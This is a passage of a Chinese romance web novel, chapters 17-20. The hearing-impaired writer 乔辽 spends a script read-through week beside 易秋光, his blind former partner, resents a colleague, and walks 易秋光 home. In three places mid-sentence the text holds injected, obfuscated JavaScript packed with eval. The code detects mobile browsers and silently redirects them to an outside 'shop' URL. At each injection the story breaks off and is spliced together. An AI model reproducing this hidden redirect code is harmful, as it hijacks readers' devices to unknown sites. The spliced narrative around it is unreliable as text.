速溶的还简单,乔辽可以分分钟捣鼓出来一百杯。 但是,这些回复都不太好,乔辽也只能在心里想想,还没等他想出究竟该回复什么的时候,屏幕上又跳出了易秋光发来的消息。 这人说:你明天要是来得早的话,我请你喝一杯新品。 你看这话说得,搞得多客气啊。 还说什么“你明天要是来得早的话”。 “来得早”到底是多早,还说什么“我请你”,怎么了,他乔辽是买不起了? 乔辽冷着脸退出聊天界面,打开闹钟,把明早的闹钟提前了半个小时。 接着回到聊天界面,开始打字并发送。 内容是:好的,我醒了就来。 对面人几乎是秒回:那倒不用,你来这么早,咖啡店也没开门。 乔辽刚打出“好吧”。 易秋光又说:既然你这么说,那就表示明天一定会来,对吧,那明天见,故听老师。 打字的手指还停在屏幕上,对话框里的字被改成了“好的”,消息被发了出去,易秋光也没再回复。 乔辽心里还是不痛快,他先是想到易秋光现在正和捕山月坐在会议室里,又想到他俩还喝着咖啡。 算了,刷个朋友圈吧。 但当他点进朋友圈的时候,第一眼看见的就是郭宝卓发的照片,大概是哪天的存图,背景是那个酒吧和吧台里的调酒师。 配图:幸福难以言喻。 乔辽露出嫌弃的表情,评论道:那你别说,你别发,你有病吧。 这样做的后果,就是让郭宝卓和他的对骂从聊天界面发展到了朋友圈评论界面。 他们从下午骂到晚上,郭宝卓也是个不认输的,在乔辽说他要去洗澡,准备结束对骂后,这人还发来一大串语音。 这分明就是挑衅。 郭宝卓明明知道,他听语音费劲,特别是在这种对骂情况下,更是听不明白。 乔辽干脆把语音转成文字。 一大串语音瞬间成了一大堆字,这些字里,就没有一句是能从人嘴里说出来的。 “傻逼”两个字被发了出去,乔辽把手机放到一边充电,选择先去洗个澡,然后赶稿子。 但这人的心哪是说静就能静得下来的,乔辽坐在电脑前搓了搓还湿着的发尾,盯着屏幕上被敲出来的那三个字。 是主角的名字。 半个小时,他就写了这三个字。 算了,再打个逗号吧,现在是四个字了。 再然后,半个小时又过去了,电脑屏幕上还是这四个字。 就这样吧,睡觉。 但就算是四个字,也是需要好好保存的,如果丢稿四个字,乔辽绝对会难过。 他关上电脑,躺到床上,深呼吸一口气。 辛苦了大作家,今天也是累死人的一天。 乔辽往床边挪了些,拿起床头柜上正在充电的手机看了眼,没有什么需要回复的消息。 充电器被拔下,他顺便抬手关了灯,屋里瞬间陷入黑暗。 乔辽看了眼明早的闹钟,熄屏手机放到枕头底下,当他闭上眼的那一刻,脑子里自动推进了小说剧情,那简直是越来越精彩…… 可他现在又懒得起来去桌前坐着,乔辽想着,干脆明天一睁眼就码字,写完这段再出门。 想法是好的,但做起来就没这么简单了。 当他脑子里的小说也出现了卡画面的情况后,乔辽就知道,确实到了该睡觉的时候。 但这脑子还不愿意让他睡。 想不出来小说剧情,还可以想易秋光。 乔辽一想到明天就能和易秋光见面,心情立马就能变得很好,又想到易秋光说明天请他喝咖啡,这心情,直接能赶上中彩票。 一夜兴奋的结果就是睡不好,记性也好不了。 被闹钟振动叫醒的乔辽睁开眼后,只觉得大脑空空的,他还记得昨天睡前脑补过小说剧情,但他现在什么都不记得了。 人啊,还是不能太相信自己的记性。 乔辽躺在床上愣了愣,把手机从枕头下面拿出来,关闭闹钟,接着看了眼天气预报。 今日天气晴。 不错,是个好兆头。 起床后,乔辽做的第一件事,是先洗漱。 然后再找出一套新衣服穿。 既然要去见易秋光,那在穿衣这方面,也得用点心思。 易秋光虽然看不见,但他还可以触碰。 抱着这种想法,乔辽捯饬自己的时候都是带着笑的,最后,他戴上助听器和耳蜗,站在镜子前满意地点头。 不错,帅得不行,要死了致命了,迷死人了。 就这模样,就这穿搭,易秋光上手一摸就得直接沉迷。 深陷吧男人,你根本抵挡不住。 乔辽脸上的笑容变得更加自信,这人就这么笑着走出小区,随便吃了点早饭,再笑着坐上出租车,下了车后,又笑着往工作室走。 快要走到咖啡店的时候,乔辽终于不笑了。 因为他看见了捕山月。 这人正和易秋光一起,站在咖啡店门口。 捕山月本来还在和易秋光说着什么,这人一看见乔辽过来,立马抬起手挥了挥。 乔辽只得露出一个笑,朝他们走过去。 刚走到店门口,易秋光就冲着乔辽笑了起来,说道:“故听老师,吃过早饭没?” “嗯,吃了,”乔辽瞥了捕山月一眼,把视线放回易秋光身上,“你在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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乔辽往前走了一步,把自己手里那杯咖啡递到捕山月手边。 在捕山月疑惑的眼神中,乔辽说:“你喝这杯,我自己买就行。” “我买吧,”易秋光拿出手机往前走了两步,他站在收银台前,扭头看向乔辽的方向,“喝和我一样的,行吗?” 乔辽都还没说话,捕山月又走了过来,看这架势是要抢在易秋光前面出钱。 为了避免自己的心情逐渐恶化,乔辽选择随便点上一杯咖啡,快速付钱。 现在好了,谁都别喝谁的,一人一杯。 但他忘了一件事,咖啡买一送一。 所以乔辽得一个人喝两杯。 他提着两杯咖啡,跟着易秋光和捕山月往工作室走。 其实吧,这段路也没多远,安安静静老老实实地走过去就行,但这个捕山月,嘴是真的碎。 快要走进工作室的时候,这人又偏头看向乔辽,说道:“你看吧,我就说让你一个人喝一杯就行,我和三季喝一杯就好,你还搞这么客气,非要自己买,这两杯喝完,你今晚也不用睡了。” 别管,你别管。 我连着好几夜睡不着都不关你的事。 我干瞪眼躺在床上变成干尸都不关你的事。 心里想的事当然不方便说出口。 乔辽对着捕山月露出一个笑,说道:“没事,我晚上困得早,喝三杯都没事。” 18. 水杯 这句话是骗人的。 乔辽本来就容易失眠,喝了咖啡只会睡得更晚。 更何况这家咖啡店的咖啡确实带劲,他刚喝完一杯,就觉得心跳快要蹦出去。 两杯下肚,中午饭也不用吃了。 反正也吃不下去午饭,乔辽正考虑着,要不中午就回去一趟,正好还能坐在电脑面前发会儿呆,能写一百字就写五十字,实在不行,写十个字也行。 挺好,这样也算是写了。 乔辽扭头正准备给易秋光说一声,但他这一眼望过去,看见的就是捕山月那张大脸。 真是够了。 乔辽扯出一个笑,把身子往前倾了倾,终于,易秋光的侧脸出现在他眼里。 下一秒,易秋光突然偏过头,往他的方向看了过来。 这人冲他笑着,喊了声:“故听老师。” 乔辽“嗯”了一声,问他:“怎么了?” “你中午要是没有其他安排,就跟着我和捕山月一起去吃饭吧,”易秋光说,“还是去吃上次那家店,他们家的家常菜味道挺好的。” 对于易秋光的邀请,乔辽当然是全肯定。 这几天本来就卡文,回去也不一定能写十个字,还是和易秋光一起吃饭比较实在。 但还没等他开口,捕山月立马接上一句:“别犹豫了,一起去呗,我看你上次吃得也挺多的,再说了,优惠券有门槛,我和三季吃不了那么多,你一起去正好多吃点,还能把优惠券用了。” 乔辽一直觉得,文字是美好的,语言是优美的。 但在有些时候,文字会染上恶意,语言在那个时候,也会变得不堪入耳。 就拿捕山月刚才说的那几句话举个例子吧。 这就是很典型的,一开口就不是人话。 乔辽尴尬地对着捕山月笑了笑,又看向易秋光说:“行,那就一起去。” 答应一件事就是上下嘴皮一碰的事,坐在店里准备点菜的时候,乔辽就觉得,这件事真是折磨。 捕山月还是和易秋光坐在一起,但这次,乔辽真的争取过。 他明明是第一个走到座位边上的,但他就是比捕山月慢了一步。 乔辽发誓,绝对只慢一步。 但就是这么一步,捕山月就已经跟猴儿一样窜进里面坐下了,乔辽就这么看着他伸出手,一下子握住易秋光的手腕。 嘴里还说着:“三季,坐这里。” 哈哈搞笑。 两个人坐在一起吃饭多不方便。 一看这个捕山月就是缺乏生活常识,肯定不怎么出门吃饭吧,在家里肯定也是一个人吃饭。 捕山月你大爷的。 乔辽就这么坐在他们对面,用自己如同尺子一般精准的双眼,死死盯着眼前这俩人。 点菜环节就和上次一样,捕山月先在菜单上勾选,然后把菜单递给乔辽。 当他接过菜单的时候,捕山月和易秋光聊了起来,这两个人一个比一个笑得灿烂,就跟昨天中了八百万,今天又中了一个亿一样。 乔辽现在成长了,他就算是心里不痛快,就算是再想哭,那也得等着回去再哭。 就是这饭菜怪好吃的,可惜心情糟糕得不行,他估计会少吃一碗了。 乔辽一边往嘴里喂着菜,时不时往对面那两个人身上看一看。 捕山月一直在给易秋光夹着菜,还会贴心地递上纸巾,易秋光面前那只碗里的菜都快堆起来了。 大概是吃得着急,易秋光被呛到,咳嗽起来,乔辽下意识就要站起身,但坐在易秋光身边的人明显比他更快。 在易秋光开始咳嗽时,捕山月立马放下了筷子,轻拍起易秋光后背,顺手还端起一杯水递了过去。 但那杯水,是捕山月的。 乔辽嚼了嚼嘴里的菜,轻咳一声,快速端起手边的水杯往前倾着身子,把水杯放到易秋光手里。 这次,他倒是比捕山月快了。 “喝这杯,”乔辽瞥了捕山月一眼,接着看向易秋光,“我没喝过,你喝吧。” 易秋光咳嗽两声,抿唇冲乔辽的方向笑了笑。 水杯被递到嘴边,易秋光喝上一口,对他说道:“谢谢故听老师。” 乔辽刚“嗯”了声,捕山月就在边上“哎哟哎哟”地喊了两声,这人支着脑袋,把刚才那杯没递出去的水喝了一大口,说出来的话也是挺讨厌的。 “我的水也就喝了一口啊,”捕山月又开始“哎哟”了,“三季没这么讲究,我和他经常喝一杯水。” 不舍得花钱买杯子就直说。 两个人喝一杯水有什么好的,不讲卫生就算了,还不够喝。 乔辽以前还和易秋光在一起时,就总给他买各种好看的杯子,只是这人不怎么喜欢用。 “是吗,”乔辽低头吃着碗里的菜,装作不在意的样子抬头问道,“你们两个,关系好得就跟从小认识一样。” “那是肯定的,但我和他倒是没认识这么久,”捕山月似乎是在回忆什么,他夹起一筷子菜,放进易秋光碗里,“我和三季是四年前认识的,也是一种缘分吧,正好认识他,还能和他一起当同事。” “这样啊。”乔辽笑了笑,不知道该说什么,他并不认为这是一种缘分。 毕竟在易秋光和捕山月认识的时候,他和易秋光还是恋人关系,这种事情,对他而言,是一个需要解释的结。 但这个结已经打上了,估计也解不开。 这种事是琢磨不明白的,猜也猜不出一个答案,他选择继续吃饭,不回应就行,只要他不开口,捕山月肯定就会换个话题。 可下一个开口的人,并不是捕山月。 易秋光对着乔辽的方向笑着说道:“不过,我确实有一个从小就认识的……” 乔辽愣了愣,想着,易秋光说的这个“从小就认识”的人,一定就是自己吧! 绝对是。 那易秋光的下一句肯定要说,那个人不仅是朋友还是前任,哎算了,这句话他不想听到。 要不,易秋光还可以说,那个人挺好的,具体好在哪里呢。 乔辽一下子也不知道了。 他好在哪里?易秋光觉得他好在哪里? 不知道,他什么都不知道。 但这些话,他一句都没听见,因为捕山月打断了易秋光。 这人的表情显得有些烦躁,但开口的那一瞬,似乎又成了心疼。 捕山月说:“我听见那个人就烦,他那样的人,凭什么认识你。” “什么样的人?”乔辽看着捕山月,问他,“他们怎么了吗?” 大概是乔辽的语气听着不太好,捕山月的情绪也一下子被带动起来,看那架势是想好好说一说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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这人被盯得没了办法,白眼都快翻出屏幕了,郭宝卓叹出一口长气,对乔辽说:“那你给他说,你说你就是乔辽,然后问他当初为什么要走,你一边说一边哭,最后再问他,为什么要和佟舟牵手,为什么不和你一起来江城。” “问这些问题,有意义吗?”乔辽说得慢,但情绪还是太过激动,说出这句话的时候,声音也不算好听。 在郭宝卓面前,他倒是无所谓,只要能听懂听清就可以。 郭宝卓听到这句话后,面色一沉,他问乔辽:“你不觉得自己矛盾吗?那你什么都不想干,现在究竟是在心烦什么?” 如果他们是面对面,乔辽大概会叹出一口气,然后拉着郭宝卓出去喝一杯,但他们现在隔着屏幕,乔辽根本就不知道应该怎么说。 他心里那种感受,用手语没办法表达。 用语言呢,乔辽说得慢,可能还会把自己说得红了眼眶,最后摇摇头不再开口。 那就用文字吧。 好像也不太行。 这个确实是他擅长的,但他不会写自己的故事,因为这个故事里,只有他自己的视角。 这个故事,从头开始,大概就不是完整的。 就和他这个人一样。 “乔辽,”郭宝卓再次开口,“你和易秋光认识这么多年,从未好好沟通过什么,说句不好听的话,你们两个可以说是直到现在才认识对方,好多事情,你们都是靠猜测,现在有机会去问了,你为什么不问?” 19. 细枝 这个问题,乔辽是用手语回答的。 他抬手比画着:等这次合作结束就问。 郭宝卓在屏幕那头边点头边笑,最后比画着:你就放屁吧。 视频通话结束后,乔辽的心情变得更复杂,郭宝卓最后说的那句话是什么意思,他当然明白。 说白了,他就是害怕。 就好比易秋光刚离开他的时候,乔辽还想过,要是易秋光哪天回来了,他们会怎样继续过下去,这件事又会怎样翻篇。 这些事情在他脑子里都是很具体的。 再然后,他看见易秋光牵着佟舟的手离开,这人也没有坐上那趟去江城的车。 乔辽就这么带着遗憾和一大堆想不通的问题,一个人去了江城。 到了江城之后,他依旧会想着,哪天才会和易秋光遇见,又或者,易秋光什么时候才会来找他。 可能是在一个天气好的时候,易秋光会迎着一道阳光,出现在他眼里,也可能是在寒冷的季节里,他会看见易秋光围着围巾,穿着白净的长款羽绒衣,一步又一步,离他越来越近。 他会握住易秋光的手,轻轻搓一搓,然后把这只手紧握住,放进口袋里,等这只手变得暖和,他就会再换一边站着,去暖另一只手。 但随着时间慢慢往前,乔辽就不再想这些了。 他只想着,易秋光会在哪儿。 但在那之后的事,乔辽就想不出来了,他变得害怕遇见,但他又不敢停下寻找。 所以,他还是会回去洪城,但他没再想象过遇见之后的事。 这就是一种逃避。 他只想找回易秋光,让易秋光重新回到他身边,让时间往回倒流,其他的,他什么都不想知道。 也不愿知道。 但现在这种情况,易秋光大概……是不能回到他身边了。 大概吧。 乔辽也不知道,甚至连一点把握都没有。 在看见捕山月的时候,他心里是有太多不满,内心吐槽更是不断,但在其他时候,乔辽心底只有不安。 易秋光会回来的。 分手只是玩闹。 易秋光一直都是乔辽的。 是吗,不是吧。 这次的重逢就像是一个突然从天而降的彩票。 他买过太多次,每次都盼着能够中奖,但一次又一次的失望都让他快要习以为常,当那个运气真的落到他头上时,先是兴奋地眩晕,后是难以平复的心跳,说话都会颤抖,手会不自觉地比画着,这种样子,就跟疯了一样吧。 可那个时候,他心底的另一个乔辽就是如此。 但当一切归于平静,他就只剩下那张嘴和那双手不肯认输了,有些话说得太多,乔辽自己都快要当真。 但他没有底气,那些底气啊,早就跟着时间一起慢慢地,蒸发了。 从嘴里说出口的,用手比画出的,全都是他逞能的外表罢了。 乔辽明白的。 他是最明白自己的人。 这个只属于他的,关于易秋光的故事,永远都没办法成为双视角,完结到今天,也没有番外可写。 围读时间是短暂的,在这几天里,他和易秋光之间也不会有什么改变。 易秋光还是会叫上他一起去吃饭,当然了,还有那个捕山月,有几次晚上结束工作,他还会问乔辽,有没有叫到车。 不管是叫到了,还是没有,乔辽都会统一回答“叫到了”。 没叫到又能怎么样,也就是让捕山月帮忙带他一路,那他又得在路上听易秋光和捕山月聊一路。 没必要,实在是没必要。 到了最后一天围读,上午依旧是和以前一样,中午的时候就不太一样了。 易秋光这次没再喊着乔辽一起去吃饭,而是直接和捕山月起身离开,就连一句话都没留给他。 说实话,乔辽当时差点就跟着一起站起来了,他也是后知后觉,哦原来易秋光这次没喊他一起去。 乔辽也不知道吃点什么,在工作室待着点外卖也是没必要,他干脆就在工作室附近找了一家快餐店,随便对付了一顿,最后又去那家咖啡店买了一杯咖啡。 他端着咖啡刚从店里走出来,一偏头就看见了易秋光和捕山月,这俩人一个敲着盲杖,另一个则是握着身边人的胳膊。 乔辽抿了抿唇,喝了一口手里的咖啡,脑子里是一片空白。 这几天,他见过太多次这种画面,在他的小说里,要是男主碰到这种事情,要么是冲上前去,一把拽过前任的胳膊。 说出一句:“他是我的”。 要么,就是站在原地,等着他们走到自己面前,再语气淡淡地说上一句:“你们关系挺好啊,贴得这么近。” 但那毕竟是小说,在现实里,在他的世界里。 在此刻。 乔辽只会站在原地。 可这两个人在他面前停下了,还是捕山月拉着易秋光停下的。 这人看向乔辽的眼神就跟看见救星似的,他冲乔辽笑着,开口说道:“故听老师,你现在要回工作室吗?” 乔辽“嗯”了声,捕山月立马又说道:“那太好了,你和三季一起回去吧,他一个人回去我不放心。” “行。”乔辽往前走了一步,看着捕山月放开易秋光的胳膊。 “那就麻烦你了啊,”捕山月说完这句,立马低头拿出手机看了眼时间,“谢谢啊故听老师。” 乔辽那句“不客气”都还没说出口,捕山月就已经转身离开了,只留下那个站在原地的易秋光。 “他很急吗,”乔辽走到易秋光身侧,又回头看了眼,“走得那么快。” “是挺急的,突然有点事要处理,下午也没办法赶过来了,”易秋光偏头朝着他的方向笑了笑,“其实我一个人回工作室完全可以,这条路我太熟悉了,刚开始我还去接过你的,怎么可能没办法走回去,捕山月就是太容易操心了,他非说前面的路被拦住了,走着会不方便……只能麻烦你了,故听老师。” “不麻烦。”乔辽轻拉着易秋光衣角,带着他往里面走了两步,然后又回到之前的位置,挨着易秋光走。 捕山月有点担心也是正常。 从咖啡店到工作室没有几步路,但从今早开始,因为要修剪道路两旁的树枝,路也被拦了起来,被剪下来的树枝横七竖八地倒在地上,把盲道遮得严严实实。 易秋光就算是再熟悉这条路,一旦碰上这种突发情况,大概还是会失去方向感。 再往前走两步就要绕行,被剪下的树枝掉落在地,砸出一声闷响,易秋光放慢步子,盲杖也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17140553|196308||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在地面轻轻划动,他看向发出声音的方向,偏头问乔辽:“是树枝掉下来了?” “对,”大概是这个动静太响,会让易秋光感到不安,乔辽连忙又补上一句,“没事的,这个声音只是听着近,我们不会走到那边。” 易秋光听见他这么说,勾了勾嘴角,语气中带着温柔:“知道了。” 树枝又被剪下,这次掉下的是细枝,落在地上的声音比刚才要小得多,易秋光抬起头,眨了眨眼。 他问乔辽:“这棵树高吗?” 乔辽跟着他一起抬头往上看,又伸出手隔空握了握。 虽然他现在没有站在树下,但在这种距离伸出手,看一眼也能知道,这棵树实在是太高。 高到他伸出手也碰不上一片叶子。 “很高,”乔辽掂了掂脚,伸出的手又在半空中握紧一下,“踮起脚也碰不到。” “这么高啊,”易秋光直了直身子,也伸出手在半空中轻握两下,“大概有多高,嗯……有工作室那么高吗?” 工作室是小三层,乔辽还没去过三楼。 他只记得,站在二层的楼梯口,从窗边望出去正好能看见这棵树。 但很明显,这棵树,比三层更高。 “有的,这棵树比工作室高,”乔辽顿了顿又说,“这棵树的树叶是细长的,树上还结了果,圆形,但我不知道这棵树叫什么名字。” 乔辽干脆牵上他的袖口,带着易秋光往前走了两步,他们停在警戒线边,乔辽弯下身子,从地上那些树枝里折下一枝。 这根细枝上面带着几片叶子,还有一颗果。 细枝被乔辽放到易秋光手上,他牵着易秋光的袖口,带着这人绕开这个地方,往工作室的方向走。 “这是那棵树上被剪下来的树枝,”乔辽慢慢说着,确保每个字都发音清晰,“你可以摸摸看,闻一闻,上面有树叶还有一颗果。” “谢谢,”易秋光任由乔辽带着自己走,他放轻动作摸了摸树叶,又用食指和大拇指轻捏两下那颗果,然后,他喊了一声,“故听老师。” 乔辽“嗯”了声,问他:“怎么了?” “我摸到了比工作室还高的树,”易秋光笑着说,“是你帮我的。” 乔辽不知道该说什么,他只得又“嗯”一声,带着易秋光继续往前。 就是折根树枝的事。 易秋光怎么能把这件事说成这样。 就好像……乔辽帮他做到了什么不可能完成的事,但这能算什么。 这件事,只需要弯个腰,伸个手而已。 要是可以,在两年前,在他们刚认识的那天,乔辽就想成为他的眼睛。 带他去看四季轮转,带他去见世界的色彩,带着他一起,走遍那些无法用文字和言语描述的美景。 这一瞬间,乔辽觉得自己亏欠易秋光太多,在一起的那些年,他没办法成为易秋光的双眼。 他只能跟着易秋光一起,走上那些早就熟悉的路。 春夏秋冬,白天黑夜,那条路被他们走过无数次。 乔辽也不记得了,他以前有没有为易秋光折下这样的一枝。 不重要了,就算有,他也没办法开口去形容。 那个时候的他,就和易秋光一样。 是盲人。 20. 回家 到达工作室后,那根细支还是被易秋光拿在手里,走到会议室时,那根细支就被他放到了桌上。 这个下午,也是围读最后的下午。 再也没有捕山月将他和易秋光隔开,乔辽只需要偏个头,就能看见易秋光。 有时候偏头,他能看见易秋光眨了眨眼,下一次偏头,他能看见易秋光点了个头,对着别人笑了笑,最后一次偏头的时候,他看见易秋光拿起桌上的树枝,上面那颗果轻晃两下,还有点像那条铃铛手链晃动的幅度。 “故听老师,”易秋光看向他的方向,笑着说,“这一周辛苦你了。” “太客气了,我也没帮上什么忙,”乔辽垂眼,那颗果已经不再晃动,他把视线重新落到易秋光身上,问出一句,“围读彻底结束了?” 这句纯属废话,他心底分明知道答案,没必要再像这样,揣着糊涂问上一句。 可他想知道,以后还能不能再有见到易秋光的机会。 “对,结束了,”易秋光回答的也果断,他站起身,打开伸缩盲杖,接着就把防脱绳套上手腕,那颗果再次跟随他的动作轻晃,“也不知道下次再见面是什么时候了,但故听老师可以先期待一下,估计半年左右,这部广播剧就能上线。” “我很期待。”乔辽也跟着站起来,但他还是有些舍不得走。 现在也没什么事情需要他做,易秋光也到了该回家的时候,会议室里只剩下他们两个。 易秋光没回答这句话,也没从他身边走过,这人就站在那儿,嘴角带着笑意,却又什么都不说。 此时的会议室太过于安静,静到外面有车经过的声音都被放大。 他们面对面站着,那颗果晃了又晃,就跟乔辽此刻的心一样,他不敢开口说什么,也害怕易秋光会往前迈上一步,离开这间会议室。 或许在此刻,像这样的沉默,就已经是最好的结果了。 但没过一会儿,易秋光还是开口了。 他说:“那走吧,我陪你等车。” “好,谢谢。”乔辽抿了抿唇,看着易秋光敲着盲杖从他身边走过,然后,他就跟在易秋光身边,慢慢走着,直到和这人并排。 在快要走到楼梯口的时候,易秋光拿出了手机,他的手在屏幕上缓慢滑动,屏幕里也不停传出电子男声。 乔辽大概听了一下,是小区物业发来的消息,物业那边说,易秋光住的那栋楼发生了玻璃自爆,路面清理需要时间,危险路段已经围上了警戒线,出行时需要注意安全。 易秋光放慢脚步,在盲杖碰到下行台阶的时候,停在了原地。 屏幕被轻点几下,易秋光给物业回复一句“谢谢”,然后熄屏。 他往下走了一步,接着又是一步,乔辽就跟在他边上,与易秋光步伐一致。 突然,易秋光停下步子,他犹豫着往乔辽的方向望去,握盲杖的手似乎也变得更加用力。 细枝上的果摇啊晃,在停下摆动的那一刻,乔辽听见易秋光说:“故听老师,你等会儿有空吗?” “有的,”乔辽问他,“是工作室还有什么事吗?” “不是,是我有点私事……”易秋光又开始犹豫,过了几秒后,终于说道,“要是你方便的话,能陪着我回去一下吗?” 乔辽愣了一下,这是什么狗屎运砸他头上了啊,这是老天爷开眼啊,是老天爷长了天眼! 其实乔辽也没愣多久,估计是易秋光担心这件事情会太过于冒昧,他又连忙补上一句:“是我楼上有一户家里窗户自爆了,有段路拉了警戒线,小区里的路有点绕,这样一弄的话……我回去会有些麻烦,要是你不方便的话,我一个人回去也可以的,没关系。” 这种事有什么好拒绝的,易秋光就算是要他过去帮忙铺个床都行,拖地扫地也行啊,反正这些事,他以前也做,现在再做一下也没什么。 但乔辽并不觉得自己是什么“恋爱脑”,他这种应该叫专一。 嗯对,就是这样。 “我方便,”乔辽拿出手机准备叫车,抬眼又问了易秋光一句,“你家住在哪里,我叫个车。” “不用叫车,我家离这里挺近的,”盲杖敲上台阶,易秋光往下继续走着,“那就麻烦故听老师了,这次就算你加班吧,工资等我改天付给你。” “为什么是改天?”乔辽压根没想那么多,他的视线始终都是跟着易秋光迈出的步子在走,做出的回答也都是下意识的反应。 听见他这么问,易秋光勾起唇角笑了笑,接着说道:“因为我想请你吃饭,用一顿饭来抵工资,但我最近应该会忙一些,所以只能等改天了。” “其实你不用这么客气,我正好晚上没事,这也不是什么麻烦事,只要能帮上你就好。”这句话有些长,乔辽说得又慢了点,最后一个字说出口的时候,他们也走到了一楼。 正当易秋光准备迈步,走出工作室时,乔辽又问出一句:“所以,这个‘改天’是哪天?” 路边响起一声自行车响铃,易秋光下意识愣了一下,接着露出一个笑容,朝着乔辽的方向说道:“我也说不准,只能辛苦故听老师等一等我了。” “我随时都行,最近本来也不忙,”乔辽顿了顿,又说,“我会等你的。” “好。”易秋光脸上依旧带着笑。 天色微暗,他们并肩走出工作室,路过咖啡店,再然后,易秋光带着他拐上一条陌生的道路,这条路上没什么人,盲道上的障碍物也少了很多,易秋光走在这条路上还显得挺高兴,这人脸上的笑就没下去过,走着走着还哼起了歌。 乔辽听过这首歌,但他是在便利店听见的。 当时,他正打开冰柜,从里面拿出一瓶水,便利店里的歌也正好换了一首,在他拿着水走到收银处时,这首歌也唱到了高潮部分。 那个时候的乔辽只是觉得,这首歌挺好听的,曲调轻快,歌词也容易上口。 就是记忆点不太多,好像来来去去就是那么几句,属于那种听个新鲜,过几天就不会再听的歌。 可在此刻,当初那些想法全都被乔辽推翻。 这首歌,记忆点明明很多。 在易秋光哼到高潮部分时,这人露出的虎牙会跟着笑容一起到来,后两句被哼出来时,盲杖在地面敲击两下,微风吹动易秋光额前的发,阳光也让横眉钉发出微弱的闪光。 乔辽还是不明白,易秋光到底为什么要打这个横眉钉。 这样一个看不见的人,是怎么能知道这种风格到底适不适合自己,又是谁告诉他,这样确实还不错的。 除开这些原因,乔辽更在乎的,是易秋光这样做,到底是为什么。 眉尾下方的横眉钉,离眼睛实在是太近,易秋光难道就是为了好看? 不会吧。 那他是为了什么? “再往前走一会儿就能到了,”易秋光伸手往右边指,“就在那边。” 易秋光这个动作,立马打断了乔辽的胡思乱想,他顺着这人的手指方向望过去,看见一个有些老旧的小区。 他们一起往前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17140554|196308||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,又一起右转,走上几步后,易秋光微偏着头,似乎是闻到了什么味道,再然后,他往前指了指,说道:“看见了吗,我就住在前面那个小区。” 乔辽“嗯”了声:“看见了。” 这条通往小区的路很宽敞,在路的两边还有很多早餐店和小吃店。 快要走到小区门口的时候,还会看见很多摆摊的,有卖炸串的,有卖水果的,甚至还有支起架子卖衣服的。 这一路上,那些摊子的老板一直都在和他们说话。 买炸串的老板会问:“吃炸串不,有五种口味可以选。” 乔辽冲老板笑笑,摆了摆手就是拒绝。 易秋光则是有些犹豫,他大概是已经习惯这种时候了,却还是不能确定,那个老板是不是在和他说话。 所以他只是笑了笑,一句话都不说。 卖水果的老板就比较直接了,他拿起两个李子,递给乔辽和易秋光一人一个,老板说:“尝尝啊,今早刚去拖来的货,可甜了,只剩最后一点了,便宜卖给你们,卖完我也正好回家了。” “谢谢。”易秋光轻轻捏了捏李子,又放到鼻子底下闻了闻,最后,他把这个李子喂进嘴里。 这一口咬得不多,大概是易秋光怕酸,但他的下一口就咬得挺大了,因为这个李子的确很甜。 易秋光对这个口感挺满意的,他捏着手里的半个李子,笑着朝老板的方向说:“称三斤吧,谢谢啊。” 三斤李子不少,这个李子个头也挺大的,易秋光提着一大兜子李子,又走到卖衣服的摊子面前。 卖衣服的老板先是喊了声“帅哥”,接着就说道:“看看衣服呗,一件衣服三十块钱起,我这都是牌子货,跳水大甩卖,保真啊,绝对保真,比我脖子上这条大金链子都真。” 易秋光这次还是笑了笑,没说什么。 终于,他带着乔辽走进小区,周围也跟着安静不少。 “这小区挺老的,但环境还行,每天回来还能买点东西吃吃,”易秋光说到这里又从塑料袋里拿出两个李子,递给乔辽一个,接着就把另一个喂进嘴里咬了一口,“但那个衣服我是真不想买……主要我也不知道牌子货是什么样,他脖子上那条大金链子又是什么样啊。” “那条金链子大概有你小拇指那么粗,没有吊坠,就是最普通的款式,”乔辽想了想又说,“你喜欢项链吗?” “还好吧,没戴过。”易秋光嘴里还在嚼着,他吐出果核用手指捏着。 看这人现在的样子,大概是又想从袋子里拿个李子。 乔辽没有猜错,几秒后,易秋光果然又拿出一个李子,还是挺大一个。 “回去洗了再吃,”乔辽看向易秋光的手,“马上就能到家了。” “马上?故听老师,你知道我住在哪里吗?”易秋光没有把李子放回去的意思,下一秒就抬手把李子喂到嘴边咬上一口,他嚼了两下,露出虎牙对乔辽笑着说,“别担心我,不干不净吃了不生病嘛,没事,这个李子真的挺甜的。” “那你——”乔辽想说,那还是要少吃点,等回到家之后,他能帮忙洗,不用等多久,洗李子很快的。 但易秋光打断了他的话,还伸出了手。 这人手里提着一大袋李子,手心里攥着几个果核,食指和大拇指还捏着一半没吃完的李子。 天边彻底暗了下来,路灯也在下一秒亮起,照在他们身上。 